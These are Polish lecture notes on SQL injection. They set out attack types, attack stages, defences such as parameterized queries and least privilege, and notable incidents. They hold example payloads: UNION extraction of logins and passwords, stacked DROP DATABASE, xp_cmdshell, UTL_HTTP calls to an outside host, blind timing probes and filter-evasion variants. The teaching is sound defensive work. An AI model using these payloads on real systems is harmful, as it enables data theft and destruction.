Plan wykładu Spis treści 1 Wstrzyknięcia SQL - typy ataku 1 2 Etapy ataku 6 3 Zabezpieczenia 6 4 Atak na zabepieczenia 8 5 Z życia wzięte 9 6 Źródła 9 Znaj wroga i samego siebie, a możesz stoczyć sto bitew, nie zaznając porażki 1 Wstrzyknięcia SQL - typy ataku Wstrzyknięcia SQL Sun Zi SQL Injection - wstrzyknięcie kodu SQL - luka w zabezpieczeniach aplikacji internetowych polegająca na nieodpowiednim filtrowaniu lub niedostatecznym typowaniu i późniejszym wykonaniu danych przesyłanych w postaci zapytań SQL do bazy danych. Podatne są na niego systemy złożone z warstwy programistycznej (przykładowo skrypt w PHP, ASP, JSP itp.) dynamicznie generującej zapytania do bazy danych. Wynika on zwykle z braku doświadczenia lub wyobraźni programisty. Schemat ataku
Niedostateczne filtrowanie danych Przykładowe zapytanie: statement = "SELECT * FROM users WHERE name = " + username + " ;" Nieodpowiednie filtrowanie znaków ucieczki z danych wejściowych pozwala na przekazanie dodatkowych parametrów do zapytania: or 1 = 1 -- or 1 = 1 ({ or 1 = 1 /* W efekcie otrzymujemy: SELECT * FROM users WHERE name = OR 1 = 1 ; Niedostateczne filtrowanie danych cd Przykładowe zapytanie wewnątrz kodu PHP: SELECT produkt_id, nazwa, opis, kwota FROM produkty JOIN zamowienia USING(produkt.id) WHERE (klient_id=$id) ORDER BY nazwa Wstrzyknięcie: 0 OR 1=1 W efekcie napastnik otrzymuje historię zamówień wszystkich klientów. 2
Niedostateczne filtrowanie danych cd Przykładowe zapytanie wewnątrz kodu PHP: SELECT produkt_id, nazwa, opis, kwota FROM produkty JOIN zamowienia USING(produkt.id) WHERE (klient_id=$id) ORDER BY nazwa Wstrzyknięcie: -1) UNION SELECT klient_id, login, haslo, 0 FROM klienci -- Napastnik otrzyma dane klientów sklepu. API dopuszczające wiele zapytań Przykładowe zapytanie: statement = "SELECT * FROM users WHERE name = " + username + " ;" Dorzucenie kolejnego polecenia: a ; DELETE FROM users; SELECT * FROM userinfo WHERE t = t W efekcie otrzymujemy: SELECT * FROM users WHERE name = a ; DELETE FROM users; SELECT * FROM userinfo WHERE t = t ; API dopuszczające wiele zapytań cd Przykładowy blok anonimowy PL/SQL: Encrypt_password( bob, mypassword ); Dorzucenie kolejnego polecenia w miejsce mypassword : Encrypt_password( bob, mypassword ); DELETE FROM users WHERE upper(username) = upper( admin ); Wstrzyknięcie do argumentów funkcji Wstrzyknięcie może nastapić poprzez argumenty funkcji składowanych lub funkcji użytkownika. Zmiany w bazie danych będą możliwe jedynie, gdy zaatakowana funkcja będzie: zagnieżdżona wewnątrz INSERT, UPDATE, lub DELETE będzie stanowiła odrębną transakcję (PRAGMA TRANSACTION) 3
Przykładowe zapytanie: SELECT TRANSLATE( user input, 0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ, 0123456789 ) FROM dual; Po ataku: SELECT TRANSLATE( UTL_HTTP.REQUEST( http://192.168.1.1/ ), 0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ, 0123456789 ) FROM dual; lub: SELECT TRANSLATE( myappadmin.adduser( admin, newpass ), 0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ, 0123456789 ) FROM dual; Przeładowanie bufora Istnieją funkcję, które po wywołaniu z nieprawidłowymi argumentami spowodują przeładowanie bufora: tz_offset (przesunięcie godzinowe zadanej parametrem strefy względem strefy czasowej ustawionej na serwerze) to_timestamp_tz (konwersja łańcuchów na znacznik czasowy) bfilename (zwraca lokator do obiektu BFILE) Wstrzyknięcia w dynamicznym SQL u Przykładowa procedura PL/SQL: CREATE OR REPLACE PROCEDURE demo(name IN VARCHAR2) AS sql VARCHAR2; code VARCHAR2; --... sql := SELECT postal-code FROM states WHERE state-name = name ; EXECUTE IMMEDIATE sql INTO code; --IF code = IL THEN... Można wstrzyknąć: Some Name ; GRANT CONTROL TO [Malicious User]; PRINT Game over! This system is no longer yours! -- Malicious User now can control the database!!! 4
Wstrzyknięcia w dynamicznym SQL u cd Przykładowa procedura PL/SQL: CREATE OR REPLACE PROCEDURE demo(value IN VARCHAR2) AS -- bardzo niebezpieczne EXECUTE IMMEDIATE updatepass( value ); ; Można wstrzyknąć dowolną serię instrukcji. Wykorzystanie uprawnień Przykładowe zapytanie: statement = "SELECT * FROM users WHERE name = " + username + " ;" Dorzucenie kolejnego polecenia: a ; DROP TABLE users; DROP DATABASE SKLEP; SELECT * FROM userinfo WHERE t = t W efekcie otrzymujemy: SELECT * FROM users WHERE name = a ; DROP TABLE users; DROP DATABASE SKLEP; SELECT * FROM userinfo WHERE t = t ; Wykorzystanie uprawnień cd Przykładowe zapytanie: statement = "SELECT * FROM users WHERE name = " + username + " ;" Dorzucenie kolejnego polecenia: a ; exec master..xp_cmdshell iisreset /stop -- Dla źle skonfigurowanej bazy MS SQL Server pod Windows, spowoduje to zatrzymanie serwera. Atak z poziomu systemu Jeśli konto, z którego korzystamy, ma uprawnienia do odczytu i zapisu, da się wówczas przesłać do bazy danych pliki zawierające hasła lub informacje konfiguracyjne. W podobny sposób można zmieniać hasła lub nadpisywać pliki systemowe. 5
Ślepe wstrzyknięcia Ślepy atak (ang. blind injection) jest wykonywany na aplikacji, która nie wyświetla komunikatów błędów (zastosowano paradygmat security through obscurity). sprawdzenie, czy aplikacja jest podatna na wstrzyknięcia, poprzez porównanie efektu działania dwóch zapytań: SELECT booktitle FROM booklist WHERE bookid = OOk14cd AND 1 = 1 ; SELECT booktitle FROM booklist WHERE bookid = OOk14cd AND 1 = 2 ; wymuszenie błędu dla dobrze zadanego warunku: SELECT 1/0 FROM users WHERE username= Ralph ; wprowadzenie opóźnień czasowych SELECT booktitle FROM booklist WHERE bookid = OOk14cd AND BENCHMARK(999999,BENCHMARK(999999, BENCHMARK(999999,MD5(NOW()))))=0 OR 1 = 1 2 Etapy ataku Etapy ataku - Walidacja wejścia Walidacja wejścia - sprawdzenie luk poprzez kontrolę punktów wejściowych : pól w formularzach, parametrów skryptów w zapytaniach wysyłanych jako część adresów URL, wartości przechowywanych w plikach cookies, które są wysyłane do aplikacji sieciowej, wysyłanych wartości znajdujących się w ukrytych polach, reakcja na wprowadzenie opóźnień. Zbieranie informacji Etap zbierania informacji składa się z następujących elementów: mechanizmy wyjścia (czy wyświetla jawnie wyniki, czy wyświetla informacje o błędach) identyfikowanie rodzaju zapytania (SELECT, UPDATE, EXEC, INSERT, DELE- TE, CREATE itp) identyfikowanie serwera bazy danych (poprzez specyficzne zapisy, operatory, funkcje) rozpoznawanie stopnia uprzywilejowania użytkownika 6
Przeprowadzenie ataku 1=1 Rozpoznanie struktury bazy danych Odróżnienie kolumn numerycznych od alfanumerycznych Wyświetlenie wszystkich tabel zdefiniowanych przez użytkownika Wydobycie informacji Wydobycie nazw użytkowników i haseł Umieszczenie własnego użytkownika dla aplikacji Dysponując odpowiednimi uprawnieniami, napastnik może również utworzyć własne konto w bazie danych 3 Zabezpieczenia Zabezpieczanie na poziomie aplikacji Niedopuszczenie do nieuprawnionej zmiany wykonywanego zapytania \, dzięki cze- addslashes() dodaje backslash przed znakami, takimi jak, " czy mu znaki te nie są traktowane jak znaki specjalne DBI::quote czy mysql_real_escape_string() - jw. is_numeric(num) - sprawdza czy zmienna jest wartością numeryczną rzutowanie na typ liczbowy parametrów numerycznych wykorzystanie parametryzacji charakterystycznej dla danego API $query = $sql->prepare("select * FROM users WHERE name =?"); $query->execute($user_name); nie wstawianie zmiennych poprzez konkatenację łańcuchów jasne zdefiniowanie typu danych przypisanych do każdego pola - tzn. tylko wejście o określonym formacie może być dalej przetwarzane, wejście o podejrzanym formacie jest natychmiast odrzucane implementacja filtrów SQL odrzucających podejrzane formuły z klauzulami SELECT, UPDATE itp. Przykład zabezpieczenia Procedurę PL/SQL: CREATE OR REPLACE PROCEDURE demo(value IN VARCHAR2) AS -- bardzo niebezpieczne EXECUTE IMMEDIATE updatepass( value ); ; powinniśmy zapisać następująco: 7
CREATE OR REPLACE PROCEDURE demo(value IN VARCHAR2) AS -- poprawnie cmd := updatepass(:1); ; EXECUTE IMMEDIATE cmd USING value; Przykład zabezpieczenia Kod java: String name = request.getparameter("name"); PreparedStatement pstmt = conn.preparestatement("insert into EMP (ENAME) values ( " + name + " )"); pstmt.execute(); pstmt.close(); powinniśmy zapisać następująco: PreparedStatement pstmt = conn.preparestatement ("insert into EMP (ENAME) values (?)"); String name = request.getparameter("name"); pstmt.setstring (1, name); pstmt.execute(); pstmt.close(); Zabezpieczenie na poziomie bazy danych minimalizacja uprawnień = minimalizacja szkód sprawdzenie skuteczności ( siły ) hasła użytkownika zmiana uprawnień i usunięcie publicznego dostępu do obiektów publicznych w bazie danych stosowanie procedur składowanych (zapytanie budowane jest po stronie bazy danych i aplikacja nie ma bezpośredniego wpływu na jego postać) stosowanie wyzwalaczy Zabezpieczenie na poziomie serwera aplikacji/www instalacja dodatkowych modułów serwera warstwy aplikacyjnej np dla Apache: mod_security - filtruje wg zdefiniowanych reguł przychodzące żądania i blokuje te potencjalnie groźne. Reguły pozwalają na wychwycenie typowych uniwersalnych ataków lub znanych luk w popularnych aplikacjach. Wadą rozwiązania jest możliwość zablokowania także pożądanych wywołań. mod_rewrite - pozwala m.in. na wykonanie przekierowania przychodzącego żądania pod zupełnie inny adres na serwerze; poprzez modyfikację adresu URL strony można ukryć oryginalną nazwę skryptu i wykorzystywane przez niego parametry. 8
4 Atak na zabepieczenia Ataki na zabezpieczenia systemy zabezpieczające wyłapują zapis OR 1=1, zaś atakujący często wykorzystują dowolny warunek zawsze zwracający prawdę: OR unusual = unusual OR something = some + thing OR text = N text OR something like some% OR 2 > 1 OR text > t OR whatever IN ( whatever ) OR 2 BETWEEN 1 AND 3 użycie addslashes() (przykład w PHP) lub magic_quotes_gpc(), nie zapobiega możliwości ataku na pola numeryczne - użycie różnego kodowania znaków, np. Unicode/UTF 8, Hex ominięcie zabezpieczeń poprzez wielokrotne komentowanie, UNION/**/SELECT/**/ /**/OR/**/1/**/=/**/1 rozbicie złośliwego kodu na wiele linii, USERNAME: or 1/* PASSWORD: */ =1 -- specyficzna konkatenacja łańcuchów lub UNI/**/ON SEL/**/ECT ; EXECUTE IMMEDIATE SEL ECT US ER 5 Z życia wzięte Przykłady z życia wzięte 2005 r. - tajwański uczeń kradnie dane klientów Tech Target Group 2006 r. - Rosjanin kradnie dane dotyczące kart kredytowych z serwisów urzędów Rhode Island 2007 r. - wstrzyknięcie na brytyjskiej stronie Microsoft 2008 r. - zmasowane wstrzyknięcie wykorzystujace luki serwera MS SQL 2009 r. - kradzież 130 milionów numerów kart kredytowych w Stanach Zjednoczonych 19 września 2010 r. - wstrzyknięcie wewnątrz głosu oddanego na stronie umożliwiającej głosowanie w czasie wyborów w Szwecji 8 listopada 2010 r. - wstrzyknięcie dokonane na stronie British Royal Navy 9
Z ostatniej chwili 5 luty 2011 r. - włamanie na stronę HBGary 27 marca 2011 r. - oficjalna strona MySQL została skutecznie zaatakowana z wykorzystaniem ślepego ataku Sierpień 2011 - kradzież danych użytkowników z Nokia developer site Maj 2012 - zamknięcie strony Wurm Online podczas jej aktualizacji 6 Źródła Źródła W wykładzie wykorzystano materiały: http://webhosting.pl/sql.injection..jak.hakerzy.omijaja.zabezpieczenia. stron.www. www.net-security.org/dl/.../integrigyintrotosqlinjectionattacks.pdf Wikipedia http://www.poradnik-webmastera.com/artykuly/bazy_danych/sql_injection. php 10